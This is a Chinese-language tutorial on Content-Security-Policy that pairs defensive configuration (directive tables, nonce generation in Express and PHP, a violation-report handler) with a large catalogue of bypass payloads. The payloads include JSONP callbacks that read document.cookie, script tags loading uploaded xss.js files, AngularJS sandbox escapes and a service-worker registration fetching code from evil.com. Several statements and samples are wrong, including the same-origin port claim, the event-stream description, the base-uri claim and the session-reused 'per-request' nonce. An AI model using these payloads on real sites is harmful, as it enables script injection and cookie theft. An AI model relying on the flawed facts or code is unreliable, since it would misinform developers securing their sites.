CSP 防御与绕过:从严格策略到已知 Bypass 技巧

一、CSP 是什么

Content-Security-Policy(内容安全策略)是浏览器提供的一层额外的安全防护。它让服务器通过 HTTP 响应头告诉浏览器:

"只允许加载这些来源的资源,禁止内联脚本、禁止 eval、禁止某些危险行为。"


二、CSP 指令详解

2.1 核心指令速查表

指令 作用 常用值
default-src 默认回退指令 'self'
script-src 脚本加载源 'self''nonce-xxx''sha256-xxx'
style-src 样式源 'self''unsafe-inline'
img-src 图片源 'self'data:https://cdn.example.com
connect-src fetch/XHR/WebSocket 'self'
frame-src iframe 源 'none''self'
object-src plugin 对象(Flash 等) 'none'
base-uri 允许的 <base> 标签 'self'
form-action 表单提交目标 'self'
frame-ancestors 允许谁把本站嵌入 iframe 'none''self'
report-uri CSP 违规上报地址 https://victim.com/csp-report
report-to 新版上报方式 具体 endpoint 组
upgrade-insecure-requests 自动升级 HTTP 为 HTTPS
block-all-mixed-content 阻止混合内容

2.2 示例:一个严格的 CSP

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com 'nonce-abc123'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; object-src 'none'; report-uri https://victim.com/csp-report;

这条策略意味着:

  • ✅ 脚本只能从本站、指定 CDN 加载,或者带 nonce 的内联脚本
  • ❌ 禁止任何其他外部脚本
  • ❌ 禁止 eval()new Function()(没加 'unsafe-eval'
  • ❌ 禁止 <script>alert(1)</script> 这样的内联脚本(没加 'unsafe-inline'
  • ✅ 图片允许 data: URI 和 https
  • ✅ 上报违规到服务器

2.3 CSP 三种执行模式

模式 响应头 行为
强制执行 Content-Security-Policy 浏览器直接拦截违规资源加载
仅报告 Content-Security-Policy-Report-Only 不拦截,但上报违规(测试用)
元标签 <meta http-equiv="Content-Security-Policy"> 只能用于部分指令(不能用 report-uriframe-ancestors

2.4 三种白名单技术的区别

① whitelist 域名

script-src https://cdn.example.com https://unpkg.com;

  • ✅ 最简单
  • ❌ 如果 CDN 被劫持 → CSP 失效
  • ❌ 精确到路径更安全:https://cdn.example.com/lib/

② nonce(每次请求生成随机值)

script-src 'nonce-abc123xyz';

<!-- 服务器生成的 nonce,每次页面加载随机 -->
<script nonce="abc123xyz">
    // 这段内联脚本被允许
    console.log('hello');
</script>

<!-- 不带 nonce 的内联脚本被禁止 -->
<script>alert(1)</script>   <!-- ❌ 被拦截 -->
  • ✅ 随机值,攻击者无法预测
  • ✅ 可以允许少量可信的内联脚本
  • ❌ 依赖后端正确实现(nonce 泄漏 = 白送)

③ hash(脚本内容哈希)

script-src 'sha256-abcdef1234567890...';

<script>
    // 这段脚本的 SHA-256 是 abcdef1234567890...
    console.log('hello from trusted inline');
</script>
  • ✅ 最精确,内容改了就不匹配
  • ❌ 每次脚本变动都要重新算 hash
  • ❌ 不适合动态脚本

2.5 CSP 中的危险宽松项

以下值会削弱 CSP 保护:

后果
'unsafe-inline' in script-src 所有内联脚本都允许 = CSP 白设
'unsafe-eval' 允许 eval()、new Function()
* 所有域名都允许加载脚本
过于宽泛的通配符 https://*.com 攻击者注册 evil.com 就能绕过

三、CSP Bypass 攻击手段大全

3.1 最常见:JSONP 回调注入

许多站点的 CSP 白名单里包含了自己的域名script-src 'self')。而很多 API 端点支持 JSONP,这就造成了绕过:

场景

Content-Security-Policy: script-src 'self'; connect-src 'self';

前提

目标站点有一个 JSONP 端点:

GET /api/profile?callback=funcName
服务器返回:funcName({"id":123,"name":"admin"})

绕过 Payload

<script src="https://victim.com/api/profile?callback=alert(document.cookie)//"></script>

浏览器加载了同源脚本,CSP 认为 OK。但返回内容变成:

``javascript
alert(document.cookie)//({"id":123,"name":"admin"})
// ↑ 攻击者的代码先执行,后面的 JSON 被 // 注释掉


#### 防御

- JSONP 响应必须包含 `Content-Type: application/json`(有些 CDN 会自动补)
- 或改用 CORS + fetch(CORS 会限制跨域读取)
- 严格控制 callback 参数:只允许 `[a-zA-Z0-9_$.]`

### 3.2 Google Tag Manager / Google Analytics 白名单

很多站点为了加载 GTM/GA,会把 `https://www.googletagmanager.com` 或 `https://www.google-analytics.com` 加入 script-src 白名单。

**绕过方式**:通过 GTM 自定义 HTML 标签注入任意 JS——但这需要 GTM 管理权限,属于内部威胁。更常见的是**利用这些 CDN 域名下仍能访问的第三方服务**。

### 3.3 Angular Sandbox Escape(已知 CVE)

AngularJS 1.x 的模板表达式:

``
// 早期版本:
{{constructor.constructor('return alert(1)')()}}

// CVE-2015-6762 Angular < 1.5.1
{{(a=onerror) && a('alert(1)')}}

// 如果 CSP 允许 Angular 模板编译(很少见),依然可以被绕过

3.4 HTML Injection + JavaScript URL(需要 object-src 宽松)

如果 CSP 有 object-src 'self' 或默认宽松:

<!-- 利用插件对象(Flash/ActiveX)加载 JavaScript -->
<embed src="javascript:alert(document.cookie)">
<object data="javascript:alert(document.cookie)">
<applet code="java.lang.Runtime" archive="..."></applet>

<!-- 现代浏览器大多已禁用,但 IE 老版本中招 -->

3.5 base-uri 未设 + DOM Clobbering + 动态脚本注入

如果 CSP 没设置 base-uri

<!-- DOM Clobbering(老技术但依然有效) -->
<a id="img" href="javascript:alert(1)">

<!-- 配合页面中存在的 var img = document.getElementById('img') 变成 DOM 元素引用 -->
<!-- 这个只在老框架中成立,但思路依然值得了解 -->

3.6 Wordpress / CMS 的 wp-content/uploads 脚本上传

很多 CMS 站点 CSP 白名单 'self',而攻击者可以通过上传功能把一个 .js 文件上传到 uploads 目录,然后引用它:

<script src="https://victim.com/wp-content/uploads/2026/08/xss.js"></script>

这意味着文件上传 = CSP 绕过

防御

上传目录禁止执行脚本(Nginx/Apache 配置):

# nginx
location /uploads/ {
    types { } default_type "text/plain";
    # 或者禁止所有脚本扩展名
}

3.7 Data URI + script-src 漏洞浏览器

极老浏览器对 data:text/javascript 的判断不一致:

<!-- 某些浏览器(老 Safari 等)会把 data: URI 脚本当作 "同源" -->
<script src="data:text/javascript;base64,YWxlcnQoMSk="></script>
<!-- YWxlcnQoMSk= = alert(1) -->

现代浏览器(Chrome 40+, Firefox 45+)已禁止 data: URI 作为 script-src。

3.8 CSP nonce / hash 在某些特殊场景的泄漏

场景 1:nonce 放在 URL 参数里(bad practice)

<script nonce="<?php echo $_GET['n']; ?>">
<!-- 攻击者可以构造 URL: victim.com/page?n=abc123 -->
<!-- 页面渲染后带 nonce="abc123",而 abc123 可能是前一个用户泄露的 -->
</script>

场景 2:hash 白名单 + 框架注入

某些框架会在编译时把固定 hash 写进 CSP 头,攻击者可以找到这些 hash 并让 XSS payload 匹配。

3.9 strict-dynamic + 可信 loader

如果 CSP 包含 strict-dynamic

script-src 'strict-dynamic' https://trusted-cdn.com/loader.js;

这意味着被加载的脚本可以再加载其他脚本。如果攻击者能在 trusted-cdn.com 植入任何 JS(CDN 被攻击、NPM 包投毒等),就相当于获得了完整的脚本加载权限。

真实案例

2018 年 GitHub npm 包 event-stream 投毒事件:攻击者通过"抢维护"注入恶意代码,安装该包的应用在构建时被植入挖矿程序。而如果应用的 CSP 只信任 npm CDN(unpkg),就会被绕过。

3.10 worker-src / child-src 未设导致 Web Worker / Service Worker 注入

如果 CSP 没有设置 worker-srcchild-src

// Service Worker 有比普通 JS 更多的权限
navigator.serviceWorker.register('https://evil.com/sw.js');
// 如果 worker-src 默认为 *(某些浏览器),就绕过了 script-src 的限制

3.11 端口差异

浏览器判定"同源"是 scheme + host + port 三元组。如果 CSP 白名单只写了域名没写端口,有些浏览器会把 80/443 和 8080 都当作同源:

script-src 'self'; // 仅 443 端口

如果攻击者能让目标服务器在 8080 端口提供恶意 JS,就能绕过。

3.12 CSP 绕过的完整 Payload 合集(假设 script-src 'self')

# Payload 前提
1 <script src="/api/jsonp?cb=alert(1)//"></script> 有 JSONP 端点
2 <script src="/uploads/evil.js"></script> 上传目录可执行 JS
3 <link rel="import" href="/templates/xss.html"> Web Components + 同源模板包含脚本
4 <script src="/path/to/youtube-iframe-api.js?callback=alert(1)"></script> 如果白名单包含 youtube 的回调
5 <script crossorigin src="https://cdn.jsdelivr.net/gh/.../evil.js"></script> 如果 jsdelivr 在白名单且有 GitHub 账户

四、检测与分析 CSP 配置

4.1 查看目标 CSP

# curl 看响应头
curl -I https://victim.com | grep -i content-security

# Chrome DevTools
# → 打开目标页 → Console → 输入:
document.querySelector('meta[http-equiv="Content-Security-Policy"]')?.content
# 或者 Network 面板里看 Response Headers

4.2 在线分析工具

工具 用途
csp-evaluator.withgoogle.com Google 出品,评估你的 CSP 并指出常见弱点
Mozilla Observatory https://observatory.mozilla.org
Report URI https://report-uri.com 监听 CSP 违规上报

4.3 Chrome 内置 CSP 违规查看

Chrome 开发者工具 → Application 标签 → Security → 可以看到所有 CSP 违规。

或者在 Console 中设置断点:

// 在 Chrome 中,当 CSP 拦截东西时会有 Security 事件
// 可以在 DevTools Sources → Event Listener Breakpoints → Security 上勾选

五、编写"完美"的 CSP(防御侧)

5.1 推荐模板

Content-Security-Policy: default-src 'none'; script-src 'nonce-{random}' 'strict-dynamic'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'; form-action 'self'; img-src 'self' data: https:; style-src 'self' 'unsafe-inline'; connect-src 'self'; font-src 'self' data: https:; frame-src 'self'; worker-src 'self'; upgrade-insecure-requests; block-all-mixed-content; report-uri /csp-report;

5.2 nonce 后端生成示例

Node.js (Express)

const express = require('express');
const crypto = require('crypto');
const helmet = require('helmet');   // 用 helmet 更方便

const app = express();

// 方式 A:用 helmet 自动生成
app.use(helmet.contentSecurityPolicy({
    useDefaults: true,
    directives: {
        defaultSrc: ["'none'"],
        scriptSrc: (req, res) => ["'nonce-" + res.locals.nonce + "'", "'strict-dynamic'"],
        objectSrc: ["'none'"],
        baseUri: ["'self'"],
        frameAncestors: ["'none'"],
        formAction: ["'self'"],
        reportUri: '/csp-report'
    },
    reportOnly: false
}));

// 方式 B:手动
app.use((req, res, next) => {
    res.locals.nonce = crypto.randomBytes(16).toString('base64');
    res.setHeader(
        'Content-Security-Policy',
        `script-src 'nonce-${res.locals.nonce}' 'strict-dynamic';` +
        `default-src 'none'; object-src 'none'; base-uri 'self';` +
        `frame-ancestors 'none'; form-action 'self';` +
        `report-uri /csp-report;`
    );
    next();
});

app.get('/', (req, res) => {
    res.send(`
        <!DOCTYPE html>
        <html>
        <head>
            <script nonce="${res.locals.nonce}">
                console.log('这段合法内联脚本有 nonce');
            </script>
        </head>
        <body>
            <script>alert(1)</script>   <!-- 没有 nonce → 被拦截 -->
        </body>
        </html>
    `);
});

PHP

<?php
session_start();

// 每个请求生成随机 nonce
if (empty($_SESSION['csp_nonce'])) {
    $_SESSION['csp_nonce'] = base64_encode(random_bytes(16));
}

$nonce = $_SESSION['csp_nonce'];

header("Content-Security-Policy: " .
    "script-src 'nonce-$nonce' 'strict-dynamic'; " .
    "default-src 'none'; " .
    "object-src 'none'; " .
    "base-uri 'self'; " .
    "frame-ancestors 'none'; " .
    "form-action 'self'; " .
    "report-uri /csp-report"
);
?>

<!DOCTYPE html>
<html>
<head>
    <title>Secure Page</title>
    <script nonce="<?= $nonce ?>">
        // 允许的内联脚本
        console.log('hello from secure script');
    </script>
</head>
<body>
    <script>alert(1)</script>  <!-- 无 nonce → 被拦截 -->
    <img src="data:text/html,<script>alert(1)</script>">  <!-- 被 base-uri + script-src 共同拦截 -->
</body>
</html>

5.3 CSP 违规上报接收

<?php
// csp-report.php —— 接收浏览器上报的 CSP 违规
$logFile = '/var/log/csp-violations.log';
$rawBody = file_get_contents('php://input');
$violation = json_decode($rawBody, true);

if ($violation) {
    $line = date('[Y-m-d H:i:s]') . ' ' . json_encode($violation) . "
";
    file_put_contents($logFile, $line, FILE_APPEND);
    http_response_code(204);  // 204 No Content
}

5.4 上线策略:先 Report-Only 再强制执行

# 步骤 1:用 Report-Only 模式跑一周,收集所有误报
Content-Security-Policy-Report-Only: ...your policy...

# 步骤 2:根据上报调整白名单(加必要的域名、调整 default-src)

# 步骤 3:切换到正式强制执行
Content-Security-Policy: ...your policy...

这样可以避免"一上线就把自己的线上功能搞挂"的尴尬。